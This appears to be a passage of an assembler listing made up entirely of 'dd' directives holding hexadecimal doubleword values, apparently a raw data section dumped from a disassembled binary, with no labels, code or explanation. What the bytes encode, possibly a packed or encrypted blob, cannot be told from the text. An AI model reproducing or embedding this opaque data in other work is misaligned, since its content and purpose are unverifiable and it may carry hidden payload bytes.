474DD0Ch, 14F6CE10h, 8E78005Eh, 642FAC63h dd 284AC100h, 0E7DF3E0h, 0C00C0973h, 3C1065B0h, 4B0314C2h dd 4E5FFB12h, 653F8AFh, 9588015Bh, 0BF428027h, 7FFAD01Ah dd 80E47848h, 452B0A4Ah, 0A1253F2Dh, 0FEB1F680h, 335C1906h dd 3E09000h, 0BED1CD53h, 77890CB7h, 0C8A1736Bh, 9C23273Bh dd 7F808F1Dh, 8CAC6D86h, 0C021DC5Ch, 0DDD93DAFh, 0E1381B8Eh dd 0A84224A7h, 9098023Ch, 83B4E415h, 0E023A6B4h, 1C236C5h dd 58497BBBh, 2030ABFBh, 12FC2460h, 70029312h, 0EE1D7C13h dd 8152F4CEh, 3DD8462Eh, 0E60F2881h, 8E6A6CF0h, 80B0ED81h dd 23AF625Ch, 261B0093h, 5FE8D5AAh, 9E50467Ch, 98412F8h dd 7DC099DDh, 12117C8Fh, 7C0A4B45h, 780CC451h, 4319C5h dd 250147C2h, 0AD68BD8Bh, 0A8F6D6E2h, 5D74B009h, 1C0C1873h dd 7A0A3A76h, 0C187E600h, 55F7D515h, 6C658A00h, 0C5B8E050h dd 666F00BDh, 169E36B1h, 0F41C0D96h, 0BF404811h, 910B8CF8h dd 4C7EF010h, 7500AC76h, 96D0AB02h, 8F50B634h, 80F0B2ACh dd 6D8C3050h, 2D00147Ch, 0BB40B869h, 0A2918622h, 0E3A4C160h dd 12EB90D4h, 4E81627h, 43B0DA4Ch, 3F568BACh, 618502C1h dd 0CB88F8Dh, 4B601EC0h, 2B34DE07h, 998003A2h, 1619D63Dh dd 684ACh, 97324650h, 0DC14D33Ch, 12F04F40h, 0A830E72Fh dd 1EBEFAA5h, 80021704h, 0D06F46D5h, 544015F3h, 9FF52C5Dh dd 25803A09h, 0BD859B87h, 9E12E193h, 44256ECDh, 64C5C200h dd 4C48452h, 5588533Eh, 6104886Eh, 0D1FB701h, 0A014060h dd 35121BC4h, 80B8FF2Bh, 6AA4AEB6h, 0E05CB433h, 0F1180916h dd 0D0041DFBh, 3025D6h, 1982CEAh, 86D3974Eh, 0C81F9F31h dd 800CDC09h, 3873182Fh, 485F885Ah, 0C5802C99h, 15D87BBFh dd 9521C058h, 731B8041h, 0F7167F00h, 0CD223893h, 0E6780085h dd 2672B24Dh, 0DF00AA76h, 845FA006h, 3E8FEA4h, 1DF5B55Eh dd 35E896C8h, 0A33CE0B3h, 40A96E91h, 0C5BF1F53h, 0B2EA0065h dd 82F001CCh, 38B8C0C7h, 4D0FEE06h, 7311D90h, 87E3CC9Ah dd 88C9101Ah, 93003857h, 1304E0Ah, 98219761h, 0ACAD4460h dd 0E0FEBC00h, 0BA6A5996h, 17801477h, 69809490h, 39B86C45h dd 0F212EA02h, 0A26E6B46h, 0C02FCDA8h, 0E8E9FDDEh, 0EC90DCh dd 0AA9F4B48h, 0BA6D15Ah dd 82C77D3Eh, 0ED801578h, 0F4C490h, 0D9460137h, 0EE768E1Dh dd 42911600h, 0F696BE8Fh, 1B131E97h, 4948C0B3h, 0FBFDA877h dd 0EC916F7Dh, 0B26E560Fh, 7B4A7040h, 1D82934Bh, 0C0F22DCFh dd 6E4139D3h, 60BDAF23h, 778002F2h, 18654CA6h, 335D080h dd 10980DD4h, 9526EE12h, 0E84BCC00h, 60502B15h, 8FA610DEh dd 5D1D478Ah, 0FC4157C0h, 1863E29Bh, 0A6EF4980h, 0D854EC8h dd 92DA8700h, 47831931h, 7567015Ch, 0AB8413C7h, 9231BB80h dd 540008A4h, 587C5EFEh, 0D980E90Eh, 0AF24796h, 5F036517h dd 0F63859CAh, 6E3FB0A4h, 60DB0C77h, 5549716Bh, 5A67F300h dd 0ADCFDD1Bh, 187EE23Ah, 516C15ECh, 6A091FEDh, 472CC3Dh dd 0A8406D68h, 19AF1755h, 99C0637Ch, 0F245B502h, 1440016Bh dd 0A1203DC2h, 0F164DD2Eh, 0F4586178h, 0FF26BDD1h, 701D801h dd 736EE2BCh, 0C0DD1811h, 0C3771C86h, 0B95B2E18h, 0C47C0DE8h dd 88495E09h, 8C1326A4h, 7C05760Eh, 80C86360h, 6F950090h dd 6E914053h, 3A00BC75h, 77129474h, 0E8ACE081h, 3F3F6CAFh dd 890086D1h, 32D8AE65h, 3BB6DD92h, 744C8DFEh, 1BCF440Ch dd 1D2408B0h, 4004E022h, 88A3F3DEh, 3A882000h, 49E96B95h dd 829F2B00h, 66E6F8F9h, 5D9104A0h, 887886E5h, 401E7C60h dd 0ADACF882h, 0EBD8BF00h, 0F1CE6Bh, 0CB09A3B0h, 904F26B9h dd 0F26FCF0Dh, 106039ACh, 0F09A01DDh, 4805B5B6h, 0FA4020A4h dd 0DA38A301h, 0D1A933Ch, 0B2D4B185h, 619CC86Eh, 0CF712F1Eh dd 1567D8Bh, 0B3E17E78h, 0BE058C41h, 4C7278EDh, 93499E07h dd 0EA8960A7h, 3CB80116h, 6BCEE113h, 8B96AC20h, 95717235h dd 0C90131D8h, 627CD802h, 4980B178h, 8DA24DB0h, 0A6004369h dd 7CD07968h, 0A8084A5Fh, 91393D8h, 764445DEh, 9000E444h dd 2C4D1B4Ah, 0E17A06Ch, 91F18AF0h, 90576B44h, 0D61697DCh dd 0ED37C406h, 0F85196C9h, 8C8858F3h, 3C90007Fh, 0D768C223h dd 0E3E69F0h, 891D3C53h, 0BB41709h, 0CD1C0788h, 918AA290h dd 81D6B3h, 7D743FC5h, 0E900D0EBh, 149C996Ah, 490E7BABh dd 0EB581C55h, 27C5A700h, 1BFE7AF0h, 987420E5h, 80F06248h dd 281FAA4Eh, 0E0B40B50h, 3400542Fh, 8841FBD0h, 9BF6FE0Ah dd 0E705D8C3h, 0C492456Ch, 409411C7h, 2597D678h, 2ABE3400h dd 68E3762Eh, 9128B8FDh, 46090700h, 7B102E1h, 3A62EF60h dd 0FF972B02h, 0C40EB8FCh, 0B7A60064h, 4CD195A2h, 0E7009E82h dd 0E3A0562Eh, 0B114E01Ah, 0EBA2005Ch, 8886C29Ah, 1E519D3Ah dd 0ACE6F0E3h, 0F2704302h, 8A5485C3h, 0C87FCCCh, 74EA0C58h dd 995C1649h, 48685948h, 7E5A0544h, 2489F670h, 60C79942h dd 1FA66B98h, 0B9D1D5h, 7D5A2AB1h, 0D4466E0h, 512F0EE2h dd 91A08965h, 0A3DC80Bh, 5EEC3CB8h, 29153230h, 167AFFh dd 112F8F95h, 902A3098h, 62018CB1h, 0F2A05F58h, 0C3FED4h dd 0FD168979h, 0DA7CFA2Ah, 0ED933A05h, 0E805CE33h, 57C02E41h dd 3011AC66h, 98D95915h, 1200997Ah, 72C1DCEBh, 9FFB474h dd 0F37EE62Fh, 0FED2F80h, 0CE09097Dh, 80FAA7D9h, 0D08D0380h dd 30E5ECBBh, 0D5B16566h, 0C8005368h, 18020338h, 192D141h dd 0AAEA1D7Bh, 647056C1h, 3203A228h, 0E96FF353h, 0DBD106AEh dd 992215DCh, 66493E09h, 0AA7B8067h, 99A0CAh, 92E6D986h dd 8C39939Bh, 22B88B48h, 26FA0F1Ch, 0B60689Eh, 8DA0A278h dd 11BCC300h, 0CA5A8E2Bh, 142990FEh, 0E4574C03h, 0F0885100h dd 0ABA5F840h, 8CA24905h, 0F0CC530Ch, 3307E9Dh, 0F5391BB6h dd 3E141DD8h, 2E54F40Ch, 8172010h, 0EEF51831h, 1617E60h dd 1FBFED62h, 39F46FF6h, 16945058h, 109A4A25h, 746CB0h dd 0A1C2DEC9h, 8D521D50h, 610D5800h, 0C5720671h, 0E4AD5069h dd 50735C60h, 552EE207h, 1BF0412Fh, 2040E29Fh, 98060A24h dd 0E4A851E8h, 63682930h, 67AF00D0h, 62103039h, 0A0955316h dd 0ECD05900h, 2880DAEAh, 39D0E4F1h, 76132273h, 3C1E7Bh dd 0A3D80851h, 904C3D0h, 904E94CCh, 72F9B4C8h, 74C035Bh dd 3BF4B36Ah, 0AB8C43D0h, 5FECBC06h, 9810A2Bh, 6796DDF3h dd 0B1E05h, 4E542384h, 0BC58A9F6h, 5EFF0190h, 11024184h dd 5F71C8FFh, 14889148h, 0AC0AF680h, 0A4D06F8Fh, 0AB06008h dd 1106C579h, 39E8E95h, 81F1E50h, 4E41B066h, 0E813BF8Fh dd 0F8B09h, 0ACD86444h, 9E682B40h, 430F845Fh, 6148088Bh dd 794537A9h, 7B1F90BCh, 87C8C5A8h, 4DC5359h, 80E61A3Ch dd 9F5F5124h, 0E14C50E8h, 6C031420h, 0CBF60754h, 4A270711h dd 0AF677DD1h, 0D7CC9D31h, 0EDCA0C8h, 0A981E566h, 3A89B630h dd 0F3E5D49Bh, 63F44304h, 3CA591ACh, 5C189744h, 0A47B30E8h dd 0FF8E00C8h, 0C0DB36Dh, 0AF5C7F18h, 672227Ch, 14DB04DAh dd 6000115Bh, 0F3FF3B7Ch, 0B856954Dh, 5573005Bh, 6FCCDD88h dd 0A2FC04AFh, 37D9A800h, 5A45E293h, 98463ED6h, 0AC710C04h dd 16CF292h, 80A353EEh, 8C735484h, 7DA04000h, 3D5FF0F7h dd 0C6ACBE03h, 0C1E29E95h, 44F20CC1h, 0FFCB9A8h, 5580E44Ah dd 203AB3C0h, 0C217C103h, 0F945436Ch, 2992B2DFh, 69302063h dd 0EBE4833Fh, 0FA07CE00h, 0C34B620h, 0A4E9FE7Fh, 54755898h dd 0F525E002h, 64E25FAEh, 0F4F0E840h, 2876F09h, 935400F2h dd 0E81676E5h, 7B212E9Ah, 3C0A4108h, 82C76FE1h, 4410F775h dd 0A4897484h, 0C53A420h, 55478811h, 3CB9F860h, 60A4598Eh dd 0F16F33EBh, 68B5397Eh, 0F30D830Fh, 0DF66F20Fh, 530359AAh dd 0AF78D677h, 0C156E22Fh, 95157254h, 0C8D0149Ch, 971EEAC0h dd 4A00485Eh, 0C225BDC3h, 0A157B9ADh, 1E0820B4h, 2DC688h dd 0BDE15386h, 63370DFDh, 8D5BB900h, 0FE4F0B8Ah, 5F1100CEh dd 19D8742Eh, 7026332Ch, 0DE4468D5h, 630EBCC1h, 0E100806Dh dd 90DF049h, 2A98C9FFh, 7287EC00h, 27ED48B6h, 0AF70070Ah dd 308DDCF0h, 7DA39C08h, 1508EC93h, 4A88805Bh, 5178DB23h dd 0BB6AE04h, 808A77CBh, 53081600h, 2C5F7DFFh, 8024CCB9h dd 0D016A917h, 85F34890h, 34A3002Dh, 0A70C41C1h, 0DD50E076h dd 800053FCh, 369EAB2Fh, 0E963D45h, 0C17EB152h, 0AC98884Bh dd 7B008EC2h, 92D7E2FBh, 13BF2B0Fh, 204A5F8Ah, 0F3149634h dd 40AEB900h, 0A8D9E07Ch, 0CDA4F87h, 98087470h, 14027C9Eh dd 58E680C9h, 0E80101F4h, 6DCDDE61h, 80F721BAh, 6BD8B3B9h dd 3146235h, 1A843C54h, 9FDB942Ch, 23DC0C89h, 1653CF0h dd 0B0D166A8h, 90405170h, 0D0455E03h, 0EF248CC1h, 0AC784204h dd 0A2C09825h, 3931F4Eh, 0ABCAE35Eh, 0BF907295h, 5DF61113h dd 780BC22Ch, 8DA0700h, 3BE9887Ch, 970B5469h, 0B000DC72h dd 0E3788EFAh, 3840635Eh, 0BB7C4CD8h, 0DE68009Dh, 0F3F00A33h dd 180980D2h, 486E76E0h, 7C61D10h, 0A0E2ACFFh, 8292D02Ah dd 7D48637Fh, 20EBCF58h, 7A9F5067h, 0F4360E8Dh, 0A49465E7h dd 81A52A01h, 30B9822Dh, 81105ACh, 0BF071263h, 5FB37C35h dd 0A12E0980h, 5C1266E7h, 6CC88C0Ch, 4374D6h, 0D550A5A2h dd 83B39526h, 130442E2h, 0D973EFA7h, 0B6508Ch, 2746EDC3h dd 0E82BA6C6h, 0B8024E0Fh, 0FA8DA0A8h, 0A7E7C5Eh, 0DE55DB8Ch dd 0F1EC0E90h, 222AA867h, 7CF11BA7h, 71A39500h, 3D602E4Ch dd 0DD802B61h, 2A6E7C16h, 0FC7651F3h, 0D5C0FFF1h, 6CF5CE46h dd 6FC980B4h, 0AF6292Ch, 0FE84D95Eh, 143312D4h, 10C02498h dd 9365143h, 0A2B1D600h dd 8F55B2A3h, 725B051Fh, 0C0107DF6h, 2B62C7F0h, 94637628h dd 0F5805906h, 81EC9Fh, 0CBBA5A5Eh, 5F88DDF1h, 0E18DFF16h dd 205DFCC2h, 0B62806B3h, 0A640BC00h, 3724F24Dh, 44D90384h dd 1BAE31C9h, 0B1464004h, 80839E15h, 4147C07Dh, 2C312693h dd 3721108h, 0DA04E0BEh, 442D8A5Fh, 0C4F10464h, 0C86EA592h dd 4807531Ch, 0C60B61BBh, 77D6E230h, 17D81B28h, 3907CCA3h dd 7AD14E7Fh, 4BB01FB7h, 132C685Bh, 1461A213h, 0C83E474h dd 0D10973EEh, 6A95AC0Eh, 0F9E84010h, 7874446Bh, 690BE002h dd 819C8F87h, 6EDB30BCh, 0C40EF072h, 0B9C00A20h, 4BCC2DAh dd 0FE646B00h, 9ECB3086h, 5DD734Ah, 0C12CCEBBh, 1D4CC212h dd 48006325h, 3EE0389Fh, 0E9BC0081h, 0B84FB13Bh, 2C98DD14h dd 0D8562A0Ah, 440E1C91h, 0B72F4036h, 0FADF0h, 75176806h dd 0E1D8C529h, 24904B4Ch, 53002863h, 76D361E5h, 205A4ADBh dd 0F56C6080h, 89E4C600h, 0F9CE6145h, 0DB0C117Fh, 74B84876h dd 0D359388h, 578EAC49h, 0C4EC7CF9h, 0CCF24D45h, 79B24201h dd 30DB2534h, 75006E58h, 0EAD505DDh, 3E554ABAh, 1E183C47h dd 48462057h, 2015A127h, 0DA470B5Ch, 406202E2h, 0A9A07A59h dd 80DC4100h, 60DB3CECh, 3169D719h, 80542C7Dh, 0FAA337AFh dd 83DB03E2h, 4951189Ah, 47067898h, 4D135AE6h, 4C30CB13h dd 1D8BA962h, 0A5DBF15Bh, 5527E4A0h, 47E23D2Eh, 0ADF2971Fh dd 80E00840h, 30CE0B20h, 0F1414B6Bh, 0E25D35Eh, 5B97E9Ah dd 4C5D8h, 755550BAh, 0AC293A2Ah, 0ED9E9C8Dh, 0C842FE22h dd 0DB84AE10h, 10A915D0h, 0B829B500h, 0A7D1637Ah, 95322B03h dd 0F9943740h, 0AC25BC7Bh, 20002844h, 0E60E96D1h, 7800BC4h dd 0A091475Eh, 9C402B6Eh, 1AF85E9h, 0FEB1004Fh, 73AE7767h dd 5309C039h, 8198166Ch, 6F6A4604h, 40589878h, 369C25C0h dd 0C00022E2h, 7376F3C2h, 1148061Bh, 1D5A0EA3h, 29006EE9h dd 0C223AEC1h, 0CF6A0B8Ah, 0E0C8917Ch, 0F106E12Fh, 150BD0D9h dd 746EF899h, 7B57004Fh, 0D2D19C0h, 0A424DEDDh, 182F3C09h dd 916CF3DCh, 0F226C0h, 80BA32Bh, 0FF00A93Eh, 0FA8EEB29h dd 0E7F3081h, 8D8B2CC0h, 68460BC9h, 0B9F9C502h, 0C0E65740h dd 48E01CA4h, 72222CCBh, 8D05DB1Fh, 0FFBC80F1h, 0D6050078h dd 80BEEEA9h, 0C5EC823Eh, 0C42CF2E6h, 3A019867h, 0C87A7E7h dd 1C24C4EAh, 0C05C2E19h, 0A4C4CF04h, 415A845Fh, 0F13F027h dd 0FC70A70Ch, 9CE9702Bh, 0EC44A57Ch, 24F6FB38h, 7E01F7F9h dd 0B65E6A6Fh, 8385F86Ch, 675180E7h, 95091687h, 0C40EC290h dd 0F4C10010h, 0FF92782Fh, 0BE00421Ah, 1CE74541h, 0C3553Bh dd 480BA846h, 5BE97740h, 1088AD13h, 0F0888C13h, 190A3DB3h dd 2C50C0ACh, 0F4A4ACh, 76137A7Fh, 0B9C0CA78h, 0B3B8CBA1h dd 2E360041h, 326DC99h, 8CA16305h, 80C01477h, 1D0A6BA1h dd 0FFF80DDh, 3017502Bh, 81C20308h, 17A72800h, 0A9FBCA74h dd 0D8830730h, 0A348E3A8h, 47899DA6h, 8134687Bh, 0CF1E319Ch dd 61B1F8h, 90522365h, 8E27C4E2h, 74D7A90Fh, 62B5E477h dd 489088h, 20B2AEDEh, 9AF4931Bh, 0F937900Bh, 488C21EBh dd 0E4443C39h, 25F58A80h, 802CB97Dh, 56FBD8B4h, 0CA01CC19h dd 772E3E9Fh, 8A4333Ah, 0C0D300E8h, 827A7C0Ah, 250CED14h dd 768250A0h, 1BDAAF18h, 14524B28h, 0ACD68638h, 0E4FF7A0Bh dd 0F33D4803h, 0A44C93C0h, 980253F0h, 782E70A8h, 788D1F6h dd 3A489BDh, 8DC39918h, 0C20837D0h, 5079DE30h, 48874E8Ah dd 0D376EC02h, 0F988C0F9h, 0C80BBFF2h, 18628697h, 1DB7B534h dd 0E8A35E41h, 4F2A00F7h, 0F2045112h, 7807F816h, 8D8FE796h dd 70AA5A60h, 1DA604F1h, 0B90E5548h, 0DF5301C0h, 0FAB72ADCh dd 7FC462E5h, 35AF0F20h, 3AA1EC2Eh, 29B4579Dh, 9FA883F0h dd 118662h, 428A3356h, 982683E0h, 72487B09h, 2C801066h dd 6FF000CDh, 2B6CA027h, 0F32C5678h, 0B980BF67h, 9FAE8C7Bh dd 3CD02AE1h, 0C9980188h, 0C3A8776Bh, 9992E0B9h, 766C2160h dd 289C96BBh, 16CC3571h, 88593B05h, 0A700F2D0h, 4828E785h dd 46DD32Bh, 0FAFE092Eh, 40E0CDD8h, 0C20F747Bh, 49B66F00h dd 0F7E7ADFDh, 0A66230C6h, 7C12F258h, 6EB10D13h, 87E700D0h dd 2B8A0F2Dh, 61217AC5h, 897DEEF0h, 0E36230h, 0F3B07F40h dd 6ECE1275h, 0ECD0404Dh, 4019C379h, 0F7003B79h, 446DFECAh dd 25B0DB48h, 5C6B0E7Bh, 93EDA498h, 0A3014500h, 14AC0835h dd 0C8D9139Eh, 0C0CA80h, 0DAA208D4h, 702FB834h, 0BCD10B72h dd 24C4BF57h, 6D1F7900h, 3712458Bh, 0CD8E0B90h, 8A003C0Ah dd 4CD5BE3Eh, 93DAB500h, 25735A30h, 43A900DDh, 0DC681A64h dd 0C9C0586Eh, 0EDF7BD3Eh, 0F18E023Fh, 0E4342594h, 78017474h dd 0C490FE80h, 17D2C450h, 57E2002Bh, 0C7FF3609h, 880CDDA5h dd 51466EAAh, 209A3FB3h, 0E0913000h, 0AA52D5B4h, 93009C7Fh dd 0E6CB90C6h, 0B504D2Eh, 0A00D5343h, 0AD9F8200h, 0F10B64DAh dd 0C622C5h, 0BCF2DB76h, 50854C79h, 2E49878h, 74E3C47Dh dd 44E165CCh, 0F9A91007h, 47150083h, 0E0FE7E62h, 0A1481EEAh dd 65B7086Ch, 9DB28018h, 88C83FE1h, 7E892F00h, 8E5B385h dd 5571003Bh, 2B634D8Bh, 0DA17DC73h, 3C206C05h, 7A6D1Ah dd 0D5B820F3h, 99CDB92Dh, 0AC790700h, 8AEDBEF0h, 598D22ABh dd 2130F498h, 0C9CCE135h, 0ECB191h, 0BDA6063Fh, 0C0EB59D8h dd 0D150CAD4h, 175080F4h, 0B928CFEFh, 350EFCE7h, 2F33EDFh dd 61547C5Eh, 0C014C3FCh, 3073E506h, 5C7AA01h, 0A5D389FDh dd 655BECh, 0D6D002F1h, 3B2E7EDEh, 0B16EFA07h, 0CC80DDD1h dd 0D40C62h, 9E8130A3h, 2CC47549h, 3FF80206h, 38CC86h dd 35F737B8h, 0B70BD767h, 562E4600h, 3CECFAD5h, 4BEA0BFEh dd 0B2074823h, 668F3E86h, 0CE39B5C3h, 436B7900h, 3BD51C4Ch dd 0B118182Eh, 8DCC18E8h, 101954Ch, 2851D82Dh, 0B3D4A222h dd 293C0071h, 7FEE39D3h, 31C0EB4Ah, 0D162873Eh, 0F13F30E6h dd 80EFB3A1h, 53A39600h, 7F07AD50h, 0D4AB006Fh, 0C278145Bh dd 817BF0AFh, 49D55137h, 373E7586h, 5510FA67h, 8E5844B7h dd 0C980AAEBh, 1BB0A1DAh, 29886AD3h, 0C23C008Dh, 0BA91C751h dd 0A00F3101h, 0A20C8D02h, 3D2F39E4h, 1E81E9A1h, 879B4FF1h dd 99419CF5h, 2D492507h, 0BF106DA7h, 3EB9301h, 18A4B1CBh dd 0C6AA2E75h, 1420D0AEh, 21702F28h, 64899B03h, 0B0F07A22h dd 0B9DB7Dh, 74E733Eh, 0E72547FEh, 0A90CCD71h, 71C363D3h dd 1E0175B8h, 0C17FB53Fh, 0B4337BA7h, 0C28457EDh, 65402A16h dd 0BB03BA4Ch, 0F388D31h, 646C003h, 53E7B56h, 39F95F9Dh dd 0A19043C7h, 97B9705Eh, 0A271E412h, 0A7007773h, 0AFB85109h dd 3E6BDC0h, 975664A4h, 3900DF36h, 32F16717h, 249826Ch dd 0C4F343CCh, 0CC90587Fh, 360401E9h, 7D76E802h, 0FA260F1Fh dd 119C4706h, 51D23930h, 0CAFFFDh, 12579910h, 4F3A911Bh dd 4009FE8h, 550F2775h, 60B15B3Fh, 0C09161E3h, 0E8009CC1h dd 84266BC2h, 501E1BEEh, 7DB69447h, 547F153Ah, 7B0CC0CFh dd 0CA79983Eh, 0A0326000h, 486ABD08h, 0EAB4309Fh, 4C988959h dd 37E80F00h, 8C728345h, 3DBE70D1h, 0D6026BB8h, 0AB524CA4h dd 4EC0F88Fh, 0F6C9512Ah, 0BB0E0503h, 0D750B8EEh, 0B1CE2880h dd 4081C0D0h, 0FE81E869h, 0A61BFD03h, 40805FE9h, 3F91E891h dd 0C1006CBFh, 1E223546h dd 5F00995Bh, 0A115C57Eh, 1147F0h, 4A01EA08h, 0FE69984Bh dd 5E559D0Eh, 467E2233h, 2593E039h, 6C2E00F4h, 13AA01D3h dd 0C712D7E8h, 2440C287h, 0C0B47349h, 116B00CBh, 5F9C37A0h dd 0D0C747Ch, 29DC6CD3h, 0CE130C5Eh, 3B11F087h, 0B529B200h dd 0B139AE1Eh, 50D0031h, 65F4E2BFh, 0B463CB6Ch, 0FFAFC878h dd 1DD1F9CCh, 3F5341h, 9539839Fh, 2100920Dh, 67DAACD2h dd 4916F088h, 0D05004C3h, 83F898Eh, 99EC0027h, 0D07888C1h dd 0E3058E21h, 314F5F55h, 0C77DE480h, 0A4CB009Ah, 0B9377149h dd 0E8A8E7B4h, 6101ED96h, 7BDC8D4h, 0B8C3BCD6h, 12455B63h dd 2054D346h, 0ADFEBEB0h, 7FA7D709h, 0F11C135Fh, 0AEE02874h dd 0F2DA1C5Dh, 39350AF0h, 0B13600C8h, 63CB74A1h, 3A3C430Ch dd 60E18EEh, 5F132CCh, 4C07D9D7h, 106C9C64h, 2EAA9E00h dd 48D40A3Ch, 40B86ED3h, 8E292ABEh, 1F344h, 7082510Eh dd 0B9D0509Dh, 3D1DB3F6h, 6BC03E64h, 21D345C6h, 941A011Ch dd 52DB29E9h, 5799FD8Fh, 594A409Ch, 0D800F91Fh, 56E6D0C4h dd 939B2E3Dh, 0C62901D4h, 868F50D6h, 0BA394D79h, 6FFF01B9h dd 3D9FA42Bh, 93D036A1h, 0F0911801h, 39A6CD01h, 3EC132Ch dd 0E5D74FBAh, 5C68E2A2h, 0FDE9B69Dh, 0A60017D4h, 48AC5F4Bh dd 0A880D0D5h, 8B68A39Eh, 0B40C3100h, 0E84FC96Fh, 0FBB01FDh dd 6DD3AF49h, 0B1B1B88Ch, 25393996h, 608E98D8h, 7A692488h dd 9102E581h, 0B5365506h, 0F98C4B4h, 6E2BCB0Fh, 0C6C34A47h dd 0AC0091E9h, 7951F51Fh, 4D608Ch, 0A1E183D9h, 1B70A97h dd 3D01EF72h, 14226CF0h, 57D8815Fh, 2604F293h, 2970FB46h dd 0AE5B82ECh, 344C742Ch, 94125090h, 5800F7F4h, 0FC4FFF64h dd 75CA1355h, 28660702h, 0C638A09Dh, 0A81521E5h, 0ACD436h dd 266D147Ah, 508943h, 0CE562DDCh, 0B81CA23Fh, 0BC791B26h dd 8DFEC603h, 0C87100F6h, 72020FBAh, 0B2008BF3h, 0AEDAC196h dd 2C4CBBh, 6E6B1680h, 1F3E68Eh, 4B4C187Bh, 6AFDC05Ch dd 128B64E8h, 24549B73h, 4985051Ch, 690486D3h, 0BCB11CE8h dd 0DD112424h, 0E49A487Dh, 9700E48Eh, 3F3A6523h, 0C3253D09h dd 80DC2ECFh, 47EF0468h, 88A7261Fh, 445D0088h, 25FA122Ch dd 38480F2Eh, 6084F060h, 0C21A002Eh, 4A59DB6Eh, 910E232Bh dd 8A71710h, 3DD611BEh, 2A102F6h, 2087D57Dh, 0DB3F4DF2h dd 7EB12216h, 0F9991030h, 0BA5B14D5h, 8503EEC4h, 975CE806h dd 7D602156h, 0B939A018h, 0B8BD69h, 9CBF9F1Ah, 92D2D428h dd 74E43500h, 0D01E71A6h, 8CF7548Eh, 0C7A50E6Ch, 0A0A06B36h dd 43156ED2h, 0E809D417h, 4BC49802h, 0D6D040A4h, 0A8C254B3h dd 6C6003CFh, 99D9928Eh, 68F077F0h, 0BBDCA31Fh, 43657340h dd 501D8F85h, 3E1F68D6h, 0B28069BDh, 4DCD131Ah, 0B8C87B8Bh dd 5AD58080h, 238E7643h, 26870800h, 670DC0A4h, 7A36005Ch dd 1BC7AB6Ch, 0A2F46F49h, 0D0998276h, 2A869E80h, 1D12911h dd 90DC53CEh, 0C49B041Ah, 0FD005B65h, 6982ECC6h, 48932802h dd 0DF221C3Fh, 5C0BA490h, 4B520Ch, 62A33420h, 0B30300FDh dd 1C61CA1h, 21022D9Bh, 5AE9D07Eh, 5F3C8085h, 4464F97h dd 315E0429h, 6B848063h, 0F118DF8Fh, 0B1E1D307h, 7F0B1ECh dd 1010A832h, 0F7F673ABh, 0D8395118h, 1E3C29h, 1C901ACAh dd 691D8745h, 0C8ABA824h, 0E2EE360Fh, 103985ACh, 0A1FD264h dd 0C10F34E6h, 0CD837FC4h, 0CDB497Fh, 9B3F0571h, 500076B1h dd 98426D99h, 0FADB4179h, 0CECF0114h, 19F11DFBh, 775F10CAh dd 0A3C0446h, 0C19321A2h, 0D8F61CA8h, 953FED55h, 0A4097CFEh dd 83A0B196h, 0E63E9434h, 0ED1A0769h, 67A9E9F2h, 2C9DC0C2h dd 0B490A7F5h, 725839ECh, 8C2234h, 0FB180B68h, 5EA35759h dd 1E373A38h, 780179F9h, 4174B5EFh, 0DF843FD0h, 27628061h dd 905F96BEh, 2A120703h, 0C7AE6D7Ch, 4B7FA590h, 30DD41D2h dd 0DF736E0Bh, 6B90109Bh, 63A4A180h, 6804DCF6h, 9427FD41h dd 2EC21082h, 0B0AFE300h, 63002980h, 0F544D1E1h, 2668E738h dd 267C0DF7h, 0E3CC0034h, 0A441327Eh, 0B5CD6618h, 4BF2AEF0h dd 9C942005h, 0EF03BA35h, 0B4CF0968h, 0C81900C4h, 1D6F061Ch dd 8C1C0474h, 79CF7CD4h, 0ADC0E077h, 0FA26ED35h, 401C96F5h dd 7CF31EA7h, 73C8EC01h, 0DBFA8155h, 57404E0h, 4BCDB05Dh dd 0C070848Dh, 0B4A020D4h, 0E5004491h, 0B50AA1E3h, 6551D3Dh dd 821709BFh, 0EC9C3461h, 53165D1Bh, 0B01E4C01h, 84AEAB4Bh dd 3E5DC690h, 400CB4A6h, 0C11C7F9Ah, 78492F0Fh, 5B4D40B6h dd 52E6DBh, 349C8BFDh, 5F0D983h, 1D031AE2h, 0EC2D2147h dd 8C8C95E6h, 0DC5E019Eh, 82AC59B0h, 0E9048B1h, 0AE01070Fh dd 0AD6FC063h, 0B4249h, 0C71D88EAh, 47747925h, 4C65520Eh dd 0F4D0527Fh, 1F3D3137h, 12A114CDh, 8EE09253h, 28EFF090h dd 0B6E23905h, 800B02B7h, 0E29C9216h, 48E6164h, 40B484F3h dd 1230A0B4h, 417D0BB2h, 0FA034E66h, 5900D84Fh, 1B343547h dd 242EDE5Ah, 9813F37h, 2C89C721h, 40F39004h, 67B970D2h dd 5D9C0028h, 0A54674A8h, 8501A3E0h, 27955FCEh, 6C214F89h dd 19CC8180h, 0F07D18A0h, 2E0F7503h, 8864383Eh, 2C8BBCAEh dd 607CF52Fh, 0AC8FD9E2h, 170011F2h, 0F55937BEh, 7B301F1h dd 0D97382CFh, 293CD01Eh, 0A6FD43E8h, 67602C39h, 0E848B17Dh dd 0A09A0087h, 319151EBh, 103F13A4h, 1F6D00F0h, 5D9D5B7Eh dd 48AB7036h, 7784B7h, 0F5064814h, 3C8F8201h, 10B15227h dd 1F5B704Ch, 0C07C120Fh, 41504715h, 3B004E69h, 1DD1DB90h dd 48D39EA7h, 0DFC1C86Eh, 63B19B17h, 0C13E20h, 0D2D29A3h dd 0B43B8Fh, 394AFBB8h, 74C6DCF0h, 48D2558h, 36CD6C29h dd 1D3430A4h, 0C0308866h, 182CB219h, 6014E28h, 0CAB7BEF3h dd 64FAFFEEh, 68C600A0h, 0B64F7705h, 8E0F5CB1h, 0CF469C16h dd 0E84040A5h, 0B13F1704h, 0F93DD4h, 0A2D5D1D0h, 4C85AA4Bh dd 0DB5EF60Fh, 827BA633h, 4409029h, 0D3A1EE3Ah, 75C8A452h dd 0E82BC304h, 3CE20F29h, 60F650h, 302A74B2h, 0A17D5666h dd 0A74F2200h, 75E9841Bh, 482CA27Fh, 96D38E4h, 0B1A62479h dd 43355C10h, 119C951Ch, 7D1F3700h, 9063548Ch, 4CD64C28h dd 29C9A5C3h, 21041A8h, 0A480BD09h, 0B6230007h, 0FFB9A6Eh dd 3D99185Fh, 0CEA60400h, 81C0EF3Eh, 4D021CD4h, 70031FD9h dd 0ED15CF0Ch, 0EE5D6E61h, 0EFAC70BCh, 0D38A0400h, 9B1BBF7Eh dd 42390056h, 6CBD785Fh, 0C0EC0C9h, 358D2948h, 3BC4008Ch dd 4EF10287h, 336C1CE3h, 33E4E42h, 0B86F112Fh, 0C05A5144h dd 